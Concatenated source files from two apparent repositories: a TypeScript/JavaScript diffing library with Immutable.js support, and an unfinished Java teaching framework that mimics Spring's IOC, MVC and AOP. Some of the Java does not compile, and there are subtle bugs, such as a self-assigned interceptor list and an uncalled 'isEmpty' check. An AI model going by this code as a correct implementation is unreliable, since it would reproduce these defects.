type: ChangeType.REMOVE,
path,
num: count,
})
}
// adds an 'add' type to the changeList
function add<T>(changeList: ArrayChange<T>[] | Change<T>[], path: Path, values: T[]): void
function add<T>(changeList: Change<T>[], path: Path, values: T[]) {
changeList.push({
type: ChangeType.ADD,
path,
vals: values,
})
}
function modify<T>(changeList: ArrayChange<T>[], path: Path, from: T, to: T) {
changeList.push({
type: ChangeType.MODIFIED,
path,
from,
to,
})
}
// compares arrays and objects and returns true if they're similar meaning:
// less than 2 changes, or
// less than 10% different members
export function similar(a: any, b: any) {
if (a instanceof Array) {
if (!(b instanceof Array)) {
return false
}
const tenPercent = a.length / 10
let notEqual = Math.abs(a.length - b.length) // initialize with the length difference
for (let n = 0; n < a.length; n++) {
if (!equal(a[n], b[n])) {
if (notEqual >= 2 && notEqual > tenPercent || notEqual === a.length) {
return false
}
notEqual++
}
}
// else
return true
} else if (a instanceof Object) {
if (!(b instanceof Object)) {
return false
}
const keyMap = Object.assign(arrayToMap(Object.keys(a)), arrayToMap(Object.keys(b)))
const keyLength = Object.keys(keyMap).length
const tenPercent = keyLength / 10
let notEqual = 0
for (const key in keyMap) {
// tslint:disable:forin
// tslint:enable
const aVal = a[key]
const bVal = b[key]
if (!equal(aVal, bVal)) {
if (notEqual >= 2 && notEqual > tenPercent || notEqual + 1 === keyLength) {
return false
}
notEqual++
}
}
// else
return true
} else {
return a === b || Number.isNaN(a) && Number.isNaN(b)
}
}
// compares arrays and objects for value equality (all elements and members must match)
export function equal(a: any, b: any) {
if (a instanceof Array) {
if (!(b instanceof Array)) {
return false
}
if (a.length !== b.length) {
return false
} else {
for (let n = 0; n < a.length; n++) {
if (!equal(a[n], b[n])) {
return false
}
}
// else
return true
}
} else if (a instanceof Object) {
if (!(b instanceof Object)) {
return false
}
const aKeys = Object.keys(a)
const bKeys = Object.keys(b)
if (aKeys.length !== bKeys.length) {
return false
} else {
for (const key of aKeys) {
const aVal = a[key]
const bVal = b[key]
if (!equal(aVal, bVal)) {
return false
}
}
// else
return true
}
} else {
return a === b || Number.isNaN(a) && Number.isNaN(b)
}
}
export function lastKey(change: Change<any>) {
return change.path[change.path.length - 1]
}
export function index(change: Change<any>) {
return +lastKey(change)
}
<file_sep>/es/index.js
import { Map, Record, Seq, Stack, is, isIndexed } from 'immutable';
function arrayToMap(array) {
var result = {};
array.forEach(function (v) {
result[v] = true;
});
return result;
}
function keyEscape(prefix, v) {
var typ = typeof v;
if (typ === "string" || typ === "number") {
return prefix + v;
}
return v;
}
function basicGetKey(v) {
if (v instanceof Object) {
if (v.hasOwnProperty("id")) {
return keyEscape("fromid_", v.id);
}
}
return keyEscape("direct_", v);
}
function lcs_greedy_modifications(from, to, getKey) {
if (getKey === void 0) { getKey = basicGetKey; }
var toIndices = groupSeq(to, getKey);
var fromIter = from.entries();
var toIter = to.entries();
var currentFrom = fromIter.next();
var nextFrom = function () { return currentFrom = fromIter.next(); };
var currentTo = toIter.next();
var index = 0;
var nextTo = function () {
currentTo = toIter.next();
index++;
};
var acc = [];
var temp;
var add = function (value) {
if (temp != null) {
temp.add.push(value);
}
else {
temp = {
type: "splice",
index: index,
remove: 0,
add: [value],
};
}
};
var rm = function () {
if (temp != null) {
temp.remove++;
}
else {
temp = {
type: "splice",
index: index,
remove: 1,
add: [],
};
}
};
var commit = function () {
if (temp != null) {
acc.push(temp);
temp = undefined;
}
};
while (currentFrom.done === false && currentTo.done === false) {
var fromValue = currentFrom.value[1];
var fromKey = getKey(fromValue);
var _a = getIndexOfAndFilter(toIndices, fromKey, currentTo.value[0]), foundToIndex = _a[0], newToIndices = _a[1];
toIndices = newToIndices;
if (foundToIndex != null) {
while (!currentTo.done) {
var toValue = currentTo.value[1];
if (currentTo.value[0] === foundToIndex) {
commit();
if (!is(fromValue, toValue)) {
acc.push({
type: "mod",
index: index,
from: fromValue,
to: toValue,
});
}
nextTo();
nextFrom();
break;
}
else {
add(currentTo.value[1]);
nextTo();
}
}
}
else {
rm();
nextFrom();
}
}
if (temp != null && !currentTo.done && currentTo.value[0] !== temp.index + temp.add.length) {
commit();
}
while (!currentTo.done) {
add(currentTo.value[1]);
nextTo();
}
if (temp != null && !currentFrom.done && currentFrom.value[0] !== temp.index + temp.remove) {
commit();
}
while (!currentFrom.done) {
rm();
nextFrom();
}
commit();
return acc;
}
function groupSeq(seq, getKey) {
return Map().withMutations(function (map) {
var size = seq.count();
seq.reverse().forEach(function (v, k) {
var key = getKey(v);
var pre = map.get(key) || Stack();
var post = pre.unshift(size - k - 1);
map.set(key, post);
});
});
}
function getIndexOfAndFilter(indices, el, fromIndex) {
var stack = indices.get(el);
if (stack != null) {
stack = stack.withMutations(function (mut) {
while (!mut.isEmpty()) {
var v = mut.first();
if (v < fromIndex) {
mut.shift();
}
else {
break;
}
}
});
if (stack.isEmpty) {
indices = indices.delete(el);
}
else {
indices.set(el, stack);
}
}
return [stack && stack.first(), indices];
}
function diffRecursive(a, b, acc, base) {
if (acc === void 0) { acc = []; }
if (base === void 0) { base = []; }
var applySeqDiffs = function (diffs) {
diffs.forEach(function (v) {
if (v.type === "mod") {
diffRecursive(v.from, v.to, acc, v.path);
}
else {
var from = a[v.path[v.path.length - 1]];
if (v.type === "set" && similar(from, v.val)) {
diffRecursive(from, v.val, acc, v.path);
}
else {
acc.push(v);
}
}
});
};
if (a === b || Number.isNaN(a) && Number.isNaN(b)) {
}
else if (a instanceof Array && b instanceof Array) {
applySeqDiffs(diffArray(a, b, [], base));
}
else if (a instanceof Object && b instanceof Object) {
if (isIndexed(a) && isIndexed(b)) {
applySeqDiffs(diffSeq(a, b, [], base));
}
else if (Map.isMap(a) && Map.isMap(b)) {
var mapDiffs = diffMap(a, b, [], base);
mapDiffs.forEach(function (d) {
if (d.type === "set") {
diffRecursive(a.get(lastKey(d)), d.val, acc, d.path);
}
else {
acc.push(d);
}
});
}
else if (Record.isRecord(a) && Record.isRecord(b)) {
if (a._keys === b._keys) {
var recordDiffs = diffRecord(a, b, [], base);
recordDiffs.forEach(function (d) {
if (d.type === "set") {
diffRecursive(a.get(lastKey(d)), d.val, acc, d.path);
}
else {
acc.push(d);
}
});
}
else {
set(acc, base, b);
}
}
else {
var diffs = diffObject(a, b, [], base);
diffs.forEach(function (d) {
if (d.type === "set") {
diffRecursive(a[lastKey(d)], d.val, acc, d.path);
}
else {
acc.push(d);
}
});
}
}
else {
set(acc, base, b);
}
return acc;
}
function zipObjects(a, b) {
var keyMap = Object.assign(arrayToMap(Object.keys(a)), arrayToMap(Object.keys(b)));
var acc = [];
for (var key in keyMap) {
acc.push([key, a[key], b[key]]);
}
return acc;
}
function zipMaps(a, b) {
var keys = a.keySeq().toSet().union(b.keySeq().toArray()).values();
var acc = [];
var temp = keys.next();
while (!temp.done) {
var key = temp.value;
acc.push([key, a.get(key), b.get(key)]);
temp = keys.next();
}
return acc;
}
function zipRecords(a, b) {
var keys = a._keys;
var acc = [];
for (var _i = 0, keys_1 = keys; _i < keys_1.length; _i++) {
var key = keys_1[_i];
acc.push([key, a.get(key), b.get(key)]);
}
return acc;
}
function objectDifferHOF(zipper, has) {
return function (a, b, acc, base) {
if (acc === void 0) { acc = []; }
if (base === void 0) { base = []; }
for (var _i = 0, _a = zipper(a, b); _i < _a.length; _i++) {
var zip = _a[_i];
var key = zip[0], aValue = zip[1], bValue = zip[2];
if (!equal(aValue, bValue)) {
var path = base.concat(key);
if (!has(a, key)) {
add(acc, path, [bValue]);
}
else if (!has(b, key)) {
rm(acc, path, 1);
}
else {
set(acc, path, bValue);
}
}
}
return acc;
};
}
function freeHas(obj, key) {
return obj.has(key);
}
function freeObjectGet(obj, key) {
return obj[key];
}
var diffMap = objectDifferHOF(zipMaps, freeHas);
var diffRecord = objectDifferHOF(zipRecords, freeHas);
var diffObject = objectDifferHOF(zipObjects, freeObjectGet);
function diffArray(a, b, acc, base) {
if (acc === void 0) { acc = []; }
if (base === void 0) { base = []; }
return diffSeq(Seq.Indexed(a), Seq.Indexed(b), acc, base);
}
function diffSeq(a, b, acc, base) {
if (acc === void 0) { acc = []; }
if (base === void 0) { base = []; }
var lcsOps = lcs_greedy_modifications(a, b);
lcsOps.forEach(function (op) {
if (op.type === "splice") {
var i = 0;
while (i < op.remove && i < op.add.length) {
set(acc, base.concat(op.index + i), op.add[i]);
i++;
}
if (i < op.remove) {
rm(acc, base.concat(op.index + i), op.remove - i);
}
else if (i < op.add.length) {
add(acc, base.concat(op.index + i), op.add.slice(i));
}
}
else {
modify(acc, base.concat(op.index), op.from, op.to);
}
});
return acc;
}
function set(changeList, path, value) {
changeList.push({
type: "set",
path: path,
val: value,
});
}
function rm(changeList, path, count) {
changeList.push({
type: "rm",
path: path,
num: count,
});
}
function add(changeList, path, values) {
changeList.push({
type: "add",
path: path,
vals: values,
});
}
function modify(changeList, path, from, to) {
changeList.push({
type: "mod",
path: path,
from: from,
to: to,
});
}
function similar(a, b) {
if (a instanceof Array) {
if (!(b instanceof Array)) {
return false;
}
var tenPercent = a.length / 10;
var notEqual = Math.abs(a.length - b.length);
for (var n = 0; n < a.length; n++) {
if (!equal(a[n], b[n])) {
if (notEqual >= 2 && notEqual > tenPercent || notEqual === a.length) {
return false;
}
notEqual++;
}
}
return true;
}
else if (a instanceof Object) {
if (!(b instanceof Object)) {
return false;
}
var keyMap = Object.assign(arrayToMap(Object.keys(a)), arrayToMap(Object.keys(b)));
var keyLength = Object.keys(keyMap).length;
var tenPercent = keyLength / 10;
var notEqual = 0;
for (var key in keyMap) {
var aVal = a[key];
var bVal = b[key];
if (!equal(aVal, bVal)) {
if (notEqual >= 2 && notEqual > tenPercent || notEqual + 1 === keyLength) {
return false;
}
notEqual++;
}
}
return true;
}
else {
return a === b || Number.isNaN(a) && Number.isNaN(b);
}
}
function equal(a, b) {
if (a instanceof Array) {
if (!(b instanceof Array)) {
return false;
}
if (a.length !== b.length) {
return false;
}
else {
for (var n = 0; n < a.length; n++) {
if (!equal(a[n], b[n])) {
return false;
}
}
return true;
}
}
else if (a instanceof Object) {
if (!(b instanceof Object)) {
return false;
}
var aKeys = Object.keys(a);
var bKeys = Object.keys(b);
if (aKeys.length !== bKeys.length) {
return false;
}
else {
for (var _i = 0, aKeys_1 = aKeys; _i < aKeys_1.length; _i++) {
var key = aKeys_1[_i];
var aVal = a[key];
var bVal = b[key];
if (!equal(aVal, bVal)) {
return false;
}
}
return true;
}
}
else {
return a === b || Number.isNaN(a) && Number.isNaN(b);
}
}
function lastKey(change) {
return change.path[change.path.length - 1];
}
function index(change) {
return +lastKey(change);
}
export { objectDifferHOF, diffMap, diffRecord, diffObject, diffArray, diffSeq, similar, equal, lastKey, index, lcs_greedy_modifications as lcsGreedy };export default diffRecursive;
<file_sep>/src/greedy_lcs.ts
import { Seq, Map as IMap, List, Stack, is, Collection } from "immutable"
interface SeqEntryIterNotDone<K, V> {
value: [K, V]
done: false
}
interface SeqEntryIterDone<K, V> {
value: never[]
done: true
}
type SeqEntryIter<K, V> = SeqEntryIterDone<K, V> | SeqEntryIterNotDone<K, V>
export interface Splice<T> {
type: LcsOpsTypes.SPLICE
index: number
remove: number
add: T[]
}
export interface Mod<T> {
type: LcsOpsTypes.MOD
index: number
from: T
to: T
}
export type LcsOps<T> = Splice<T> | Mod<T>
export const enum LcsOpsTypes {
MOD = "mod",
SPLICE = "splice",
}
export function keyEscape(prefix: string, v: any) {
const typ = typeof v
if (typ === "string" || typ === "number") {
return prefix + v
}
return v
}
export function basicGetKey(v: any): any {
if (v instanceof Object) {
if (v.hasOwnProperty("id")) {
return keyEscape("fromid_", v.id)
}
}
return keyEscape("direct_", v)
}
/*
* Greedy longest common subsequence implementation
* Returns the modifications needed to transform `from` into `to`
*/
export default function lcs_greedy_modifications<V, C extends Collection.Indexed<V>>(
from: C, to: C, getKey: (v: V) => any = basicGetKey ) {
let toIndices = groupSeq(to, getKey)
const fromIter = from.entries()
const toIter = to.entries()
let currentFrom: SeqEntryIter<number, V> = fromIter.next() as any
const nextFrom = () => currentFrom = fromIter.next() as any
let currentTo: SeqEntryIter<number, V> = toIter.next() as any
let index = 0
const nextTo = () => {
currentTo = toIter.next() as any
index++
}
const acc: LcsOps<V>[] = []
let temp: Splice<V> | undefined
const add = (value: V) => {
if (temp != null) {
temp.add.push(value)
} else {
temp = {
type: LcsOpsTypes.SPLICE,
index,
remove: 0,
add: [value],
}
}
}
const rm = () => {
if (temp != null) {
temp.remove++
} else {
temp = {
type: LcsOpsTypes.SPLICE,
index,
remove: 1,
add: [],
}
}
}
const commit = () => {
if (temp != null) {
acc.push(temp)
temp = undefined
}
}
// === false used to help the compiler with type inference
while (currentFrom.done === false && currentTo.done === false) {
const fromValue = currentFrom.value[1]
const fromKey = getKey(fromValue)
const [foundToIndex, newToIndices] = getIndexOfAndFilter(toIndices, fromKey, currentTo.value[0])
toIndices = newToIndices
if (foundToIndex != null) {
// loop until we find the index we want
// safe guard against no values left, should be impossible
while (!currentTo.done) {
const toValue = currentTo.value[1]
if (currentTo.value[0] === foundToIndex) {
commit()
if (!is(fromValue, toValue)) {
acc.push({
type: LcsOpsTypes.MOD,
index,
from: fromValue,
to: toValue,
})
}
nextTo()
nextFrom()
break
// value found on a later index
} else {
add(currentTo.value[1])
nextTo()
}
}
} else {
rm()
nextFrom()
}
}
// commit if currentTo is not at the right index
if (temp != null && !currentTo.done && currentTo.value[0] !== temp.index + temp.add.length) {
commit()
}
// process rest of elements, when one sequence ends before the other
while (!currentTo.done) {
add(currentTo.value[1])
nextTo()
}
// commit if currentFrom is not at the right index
if (temp != null && !currentFrom.done && currentFrom.value[0] !== temp.index + temp.remove) {
commit()
}
while (!currentFrom.done) {
rm()
nextFrom()
}
commit()
return acc
}
export function groupSeq<V, I, C extends Collection.Indexed<V>>(seq: C, getKey: (v: V) => I): IMap<I, Stack<number>> {
return IMap<I, Stack<number>>().withMutations(map => {
const size = seq.count()
// reverse so we can add to stack using unshift
seq.reverse().forEach((v, k) => {
const key = getKey(v)
const pre = map.get(key) || Stack()
// undo the reversal of the index k
const post = pre.unshift(size - k - 1)
map.set(key, post)
})
})
}
/*
* Filters out any index lower than fromIndex from the stack for el
* Returns the first index >= fromIndex, and the new index map
*/
export function getIndexOfAndFilter<T>(indices: IMap<T, Stack<number>>, el: T, fromIndex: number)
: [number | undefined, IMap<T, Stack<number>>] {
let stack = indices.get(el)
if (stack != null) {
stack = stack.withMutations(mut => {
while (!mut.isEmpty()) {
const v = mut.first()
if (v! < fromIndex) {
mut.shift()
} else {
break
}
}
})
if (stack.isEmpty) {
indices = indices.delete(el)
} else {
indices.set(el, stack)
}
}
return [stack && stack.first(), indices]
}
<file_sep>/lib/index.d.ts
export { default as lcsGreedy, LcsOpsTypes } from "./greedy_lcs";
import { Map as IMap, Record, Collection } from "immutable";
export declare type Path = (string | number)[];
export interface ChangeAdd<T> {
type: ChangeType.ADD;
path: Path;
vals: T[];
}
export interface ChangeSet<T> {
type: ChangeType.SET;
path: Path;
val: T;
}
export interface ChangeRm {
type: ChangeType.REMOVE;
path: Path;
num: number;
}
export interface ChangeMod<T> {
type: ChangeType.MODIFIED;
path: Path;
from: T;
to: T;
}
export declare type Change<T> = ChangeAdd<T> | ChangeSet<T> | ChangeRm;
export declare type ArrayChange<T> = ChangeAdd<T> | ChangeSet<T> | ChangeRm | ChangeMod<T>;
export declare type RecursiveChange = Change<any>;
export declare const enum ChangeType {
ADD = "add",
SET = "set",
REMOVE = "rm",
MODIFIED = "mod",
}
export default function diffRecursive(a: any, b: any, acc?: RecursiveChange[], base?: (string | number)[]): Change<any>[];
export declare function objectDifferHOF<T, K, V>(zipper: (a: T, b: T) => [K, V | undefined, V | undefined][], has: (obj: T, key: K) => boolean): (a: T, b: T, acc?: Change<V>[], base?: any[]) => Change<V>[];
export declare const diffMap: <K, V>(a: IMap<K, V>, b: IMap<K, V>, acc?: Change<V>[], base?: K[]) => Change<V>[];
export declare const diffRecord: <T, K extends keyof T>(a: Record.Instance<T>, b: Record.Instance<T>, acc?: Change<T[K]>[], base?: K[]) => Change<T[K]>[];
export declare const diffObject: <T, K extends keyof T>(a: T, b: T, acc?: Change<T[K]>[], base?: K[]) => Change<T[K]>[];
export declare function diffArray<V>(a: V[], b: V[], acc?: ArrayChange<V>[], base?: (string | number)[]): ArrayChange<V>[];
export declare function diffSeq<T, C extends Collection.Indexed<T>>(a: C, b: C, acc?: ArrayChange<T>[], base?: (string | number)[]): ArrayChange<T>[];
export declare function similar(a: any, b: any): boolean;
export declare function equal(a: any, b: any): boolean;
export declare function lastKey(change: Change<any>): string | number;
export declare function index(change: Change<any>): number;
<file_sep>/src/array.ts
export type Key<T> = keyof T
export type KeysToTrue<T> = {
[P in Key<T>]: true;
}
export type Mapping<T, S> = {
[P in Key<T>]: S
}
export function arrayToMap<T>(array: Key<T>[]): KeysToTrue<T>
export function arrayToMap(array: string[]): { [key: string]: true }
export function arrayToMap<T>(array: Key<T>[]) {
const result: KeysToTrue<T> = {} as any
array.forEach((v: Key<T>) => {
result[v] = true
})
return result
}
<file_sep>/README.md
List the differences between one javascript value and another, with Immutable.js support
Based on [odiff](https://github.com/Tixit/odiff/).
<file_sep>/lib/greedy_lcs.d.ts
import { Map as IMap, Stack, Collection } from "immutable";
export interface Splice<T> {
type: LcsOpsTypes.SPLICE;
index: number;
remove: number;
add: T[];
}
export interface Mod<T> {
type: LcsOpsTypes.MOD;
index: number;
from: T;
to: T;
}
export declare type LcsOps<T> = Splice<T> | Mod<T>;
export declare const enum LcsOpsTypes {
MOD = "mod",
SPLICE = "splice",
}
export declare function keyEscape(prefix: string, v: any): any;
export declare function basicGetKey(v: any): any;
export default function lcs_greedy_modifications<V, C extends Collection.Indexed<V>>(from: C, to: C, getKey?: (v: V) => any): LcsOps<V>[];
export declare function groupSeq<V, I, C extends Collection.Indexed<V>>(seq: C, getKey: (v: V) => I): IMap<I, Stack<number>>;
export declare function getIndexOfAndFilter<T>(indices: IMap<T, Stack<number>>, el: T, fromIndex: number): [number | undefined, IMap<T, Stack<number>>];
<file_sep>/rollup.config.js
import typescript from "rollup-plugin-typescript2";
export default {
entry: "./src/index.ts",
external: [
"immutable",
],
exports: "named",
plugins: [
typescript({
tsconfig: "./src/tsconfig.json"
})],
targets: [
{ dest: "lib/index.js", format: "cjs" },
{ dest: "es/index.js", format: "es" },
]
}
| 02b35642e9d81655137ec0f9300e71db5515dcab | [
"JavaScript",
"TypeScript",
"Markdown"
] | 10 | TypeScript | Zalastax/tsdiff | 29609cc8873ccec747b4dc008c4d4ffed941b619 | baa20b159ec615f3273225da31edbeda451cfe4d |
refs/heads/master | <repo_name>fengsj001/spring<file_sep>/springdemo/src/main/java/com/spring/formwork/aop/GPAopConfig.java
package com.spring.formwork.aop;
/**
* 创建人Jack
*/
public class GPAopConfig {
public String getPointCut() {
return null;
}
public String getAspectClass() {
return null;
}
public String getAspectBefore() {
return null;
}
public Object getAspectAfterThrow() {
return null;
}
public String getAspectAfter() {
return null;
}
}
<file_sep>/springdemo/src/main/java/com/spring/formework/context/GPApplicationContext.java
package com.spring.formework.context;
import com.spring.formework.beans.config.GPBeanDefinition;
import com.spring.formework.beans.config.GPBeanWrapper;
import com.spring.formework.context.support.GPBeanDefinitionReader;
import com.spring.formework.context.support.GPDefaultListableBeanFactory;
import com.spring.formework.core.GPBeanFactory;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
/**
* 创建人Jack
*/
public class GPApplicationContext extends GPDefaultListableBeanFactory implements GPBeanFactory {
private String [] configlocations;
private GPBeanDefinitionReader reader;
//单例的IOC容器缓存
private Map<String,Object> factoryBeanObjectCache = new ConcurrentHashMap<String,Object>();
//通用的IOC容器
private Map<String, GPBeanWrapper> factoryBeanInstanceCache = new ConcurrentHashMap<String,GPBeanWrapper>();
public GPApplicationContext(String... initParameter) {
}
public String[] getBeanDefinitionNames() {
}
public Object getBean(String beanName) {
}
}
<file_sep>/springdemo/src/main/java/com/spring/formwork/aop/GPCglibAopProxy.java
package com.spring.formwork.aop;
/**
* 创建人Jack
*/
public class GPCglibAopProxy implements GPAopProxy{
public GPCglibAopProxy (GPAdviceSupport config){
}
@Override
public Object getProxy() {
return null;
}
@Override
public Object getProxy(ClassLoader classLoader) {
return null;
}
}
<file_sep>/springdemo/src/main/java/com/spring/formework/context/support/GPDefaultListableBeanFactory.java
package com.spring.formework.context.support;
import com.spring.formework.beans.config.GPBeanDefinition;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
/**
* 创建人¥Jack
*/
public class GPDefaultListableBeanFactory extends GPAbstractApplicationContext{
//存储注册信息的BeanDefinition
protected final Map<String, GPBeanDefinition> beanDefinitionMap = new ConcurrentHashMap<String,GPBeanDefinition>();
}
<file_sep>/springdemo/src/main/java/com/spring/formework/core/GPFactoryBean.java
package com.spring.formework.core;
/**
* 2019/4/16
* 创建人¥Jack
*/
public interface GPFactoryBean {
}
<file_sep>/springdemo/src/main/java/com/spring/formework/context/support/GPApplicationContext.java
package com.spring.formework.context.support;
import com.spring.formework.beans.config.GPBeanDefinition;
import com.spring.formework.core.GPBeanFactory;
import com.srping.formework.context.GPBeanDefinitionReader;
import java.util.List;
import java.util.Map;
/**
* 按之前源码分析的套路,IOC、DI 、MVC、AOP
*
* 创建人¥Jack
*/
public class GPApplicationContext extends GPDefaultListableBeanFactory implements GPBeanFactory {
private String [] configLocations;
private GPBeanDefinitionReader reader;
public GPApplicationContext(String... configLocations){
this.configLocations = configLocations;
try {
refresh();
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void refresh() throws Exception {
//1、定位,定位配置文件
reader = new GPBeanDefinitionReader(this.configLocations);
//2、加载配置文件,扫描相关的类,把它们封装成BeanDefinition
List<GPBeanDefinition> beanDefinitions = reader.loadBeanDefinitions();
//3、注册,把配置信息放到容器里面(伪IOC容器)
doRegisterBeanDefinition(beanDefinitions);
//4、把不是延时加载的类,有提前初始化
doAutwrited();
}
//只处理非延时加载的情况
private void doAutwrited() {
for(Map.Entry<String,GPBeanDefinition> beanDefinitionEntry : super.beanDefinitionMap.entrySet()){
String beanName = beanDefinitionEntry.getKey();
if(!beanDefinitionEntry.getValue().isLazyInit()){
getBean(beanName);
}
}
}
private void doRegisterBeanDefinition(List<GPBeanDefinition> beanDefinitions) throws Exception {
for(GPBeanDefinition beanDefinition : beanDefinitions) {
if(super.beanDefinitionMap.containsKey(beanDefinition.getFactoryBeanName())){
throw new Exception("The“" + beanDefinition.getFactoryBeanName() + "”is exists!!");
}
super.beanDefinitionMap.put(beanDefinition.getFactoryBeanName(),beanDefinition);
}
//到这里为止,容器初始化完毕
}
//依赖注入,从这里开始,通过读取BeanDifinition中的信息
//然后,通过反射机制创建一个实例并返回
//Spring做法是不会吧罪原始的对象放出去,会用一个BeanWrapper来进行一次包装
//装饰器模式:
//1、保留原来的oop关系
//2、我需要对他进行扩展,增强(为以后aop打基础)
@Override
public Object getBean(String beanName) {
return null;
}
}
<file_sep>/springdemo/src/main/java/com/spring/formwork/aop/aspect/GPAbstractAspectAdvice.java
package com.spring.formwork.aop.aspect;
import java.lang.reflect.Method;
/**
* 创建人Jack
*/
public class GPAbstractAspectAdvice {
private Method aspectMethod;
private Object aspectTarget;
public GPAbstractAspectAdvice(Method aspectMethod, Object aspectTarget) {
this.aspectMethod = aspectMethod;
this.aspectTarget = aspectTarget;
}
}
<file_sep>/springdemo/src/main/java/com/spring/demo/action/PageAction.java
package com.spring.demo.action;
import com.spring.demo.service.IQueryService;
import com.spring.formework.annotation.Autowired;
import com.spring.formework.annotation.Controller;
import com.spring.formework.annotation.RequestMapping;
import com.spring.formework.annotation.RequestParam;
import com.spring.formework.webmvc.servlet.GPModelAndView;
import java.util.HashMap;
import java.util.Map;
/**
* 2019/4/18
* 创建人¥Jack
*/
@Controller
@RequestMapping("/")
public class PageAction {
@Autowired
IQueryService queryService;
@RequestMapping("/first.html")
public GPModelAndView query(@RequestParam("teacher") String teacher){
String result = queryService.query(teacher);
Map<String,Object> model = new HashMap<String,Object>();
model.put("teacher",teacher);
model.put("data",result);
model.put("token","<PASSWORD>");
return new GPModelAndView("first.html",model);
}
}
<file_sep>/springdemo/src/main/java/com/spring/formwork/aop/GPAopProxy.java
package com.spring.formwork.aop;
/**
* 创建人¥Jack
*/
public interface GPAopProxy {
Object getProxy();
Object getProxy(ClassLoader classLoader);
}
<file_sep>/springdemo/src/main/java/com/spring/formework/webmvc/servlet/GPHandlerAdapter.java
package com.spring.formework.webmvc.servlet;
import com.spring.formework.annotation.RequestParam;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.annotation.Annotation;
import java.lang.reflect.InvocationTargetException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/**
* 创建人Jack
*/
//专人干专事
public class GPHandlerAdapter {
public boolean supports(Object handler){
return (handler instanceof GPHandlerMapping);
}
public GPModelAndView handle(HttpServletRequest req, HttpServletResponse resp,Object handler) throws InvocationTargetException, IllegalAccessException {
GPHandlerMapping handlerMapping = (GPHandlerMapping) handler;
//每一个方法有一个参数列表,那么这里保存的是形参列表
Map<String,Integer> paramMapping = new HashMap<String,Integer>();
//这里只是出来了命名参数
Annotation[][] pa = handlerMapping.getMethod().getParameterAnnotations();
for (int i = 0; i < pa.length ; i++) {
for(Annotation a : pa[i]){
if(a instanceof RequestParam){
String paramName = ((RequestParam)a).value();
if(!"".equals(paramName.trim())){
paramMapping.put(paramName,i);
}
}
}
}
//根据用户请求的参数信息,跟Method中的参数信息进行动态匹配
//resq传进来的目的只有一个:只是为了将其赋值给方法参数,仅此而已
//只有当用户传过来的modelandview为空的时候,才会new一个默认的
//1、要准备好这个方法的形参列表
//方法重载;形参的决定因素:参数的个数、参数的类型、参数顺序、方法的名字
//只处理Request和ResPonse
Class<?>[] paramTypes = handlerMapping.getMethod().getParameterTypes();
for(int i =0;i < paramTypes.length; i++){
Class<?> type = paramTypes[i];
if(type == HttpServletRequest.class ||
type == HttpServletResponse.class){
paramMapping.put(type.getName(),i);
}
}
//2、拿到自定义命名参数所占的位置
//用户通过url传过来的参数列表
Map<String,String[]> reqParameterMap = req.getParameterMap();
//3、构造实参列表
Object [] paramValues = new Object[paramTypes.length];
for(Map.Entry<String,String[]> param : reqParameterMap.entrySet()){
String value =
Arrays.toString(param.getValue()).replaceAll("\\[|\\]","").replaceAll("\\s","");
if(!paramMapping.containsKey(param.getKey())){continue;}
int index = paramMapping.get(param.getKey());
//因为页面上传过来的值都是String类型的,而在方法中定义的类型是千变万化的
//要针对我们传过来的参数进行类型转换
paramValues[index] = caseStringValue(value,paramTypes[index]);
}
if(paramMapping.containsKey(HttpServletRequest.class.getName())) {
int reqIndex = paramMapping.get(HttpServletRequest.class.getName());
paramValues[reqIndex] = req;
}
if(paramMapping.containsKey(HttpServletResponse.class.getName())) {
int respIndex = paramMapping.get(HttpServletResponse.class.getName());
paramValues[respIndex] = resp;
}
//4、从handler中取出Controller、method,然后利用反射机制调用
Object result = handlerMapping.getMethod().invoke(handlerMapping.getController(),paramValues);
if(null == result) {return null;}
boolean isModelAndView = handlerMapping.getMethod().getReturnType() == GPModelAndView.class;
if(isModelAndView){
return (GPModelAndView)result;
}else{
return null;
}
}
private Object caseStringValue(String value, Class<?> paramType) {
if(paramType == String.class){
return value;
}
//如果是int
if(Integer.class == paramType){
return Integer.valueOf(value);
}else if(Double.class == paramType){
return Double.valueOf(value);
}else{
if(value != null){
return value;
}
return null;
}
//如果还有double或者其他类型,继续加if,策略模式
}
}
<file_sep>/springdemo/src/main/java/com/spring/formwork/aop/intercept/GPMethodInvocation.java
package com.spring.formwork.aop.intercept;
import com.spring.formwork.aop.aspect.GPJoinPint;
import com.spring.formwork.aop.aspect.GPMethodInterceptor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* 创建人Jack
*/
public class GPMethodInvocation implements GPJoinPint {
private Object proxy;
private Method method;
private Object target;
private Object[] arguments;
private List<Object> interceptorsAndDynamicMatchers;
private Class<?> targetClass;
private Map<String,Object> userAttributes;
//定义一个索引,从-1开始来记录当前拦截器执行的位置
private int currentInterceptorIndex = -1;
public GPMethodInvocation(
Object proxy, Object target, Method method, Object[] arguments,
Class<Object> targetClass, List<Object> interceptorsAndDynamicMethodMatchers) {
this.proxy = proxy;
this.target = target;
this.targetClass = targetClass;
this.method = method;
this.arguments = arguments;
this.interceptorsAndDynamicMatchers = interceptorsAndDynamicMatchers;
}
public Object procced() throws Exception {
//如果Interceptor执行完了,则执行joinPoint
if(this.currentInterceptorIndex == this.interceptorsAndDynamicMatchers.size() - 1){
return this.method.invoke(this.target,this.arguments);
}
Object interceptorInterceptionAdvice =
this.interceptorsAndDynamicMatchers.get(++this.currentInterceptorIndex);
//如果要动态匹配joinPoint
if(interceptorInterceptionAdvice instanceof GPMethodInterceptor){
GPMethodInterceptor mi = (GPMethodInterceptor) interceptorInterceptionAdvice;
return mi.invoke(this);
}else{
//动态匹配失败时,略过当前Interceptor,调用下一个Interceptor
return procced();
}
}
@Override
public Object getThis(){return this.target;}
@Override
public Object[] getArguments() {
return new Object[0];
}
@Override
public Method getMethod() {
return null;
}
public void setUserAttribute(String key,Object value){
if (null != value){
if (null == this.userAttributes){
this.userAttributes = new HashMap<String,Object>();
}
this.userAttributes.put(key,value);
}else{
if ( null != this.userAttributes){
this.userAttributes.remove(key);
}
}
}
public Object getUserAttribute(String key) {
return (this.userAttributes != null ? this.userAttributes.get(key) : null);
}
}
<file_sep>/springdemo/src/main/java/com/spring/formwork/aop/GPJdkDynamicAopProxy.java
package com.spring.formwork.aop;
import com.spring.formwork.aop.intercept.GPMethodInvocation;
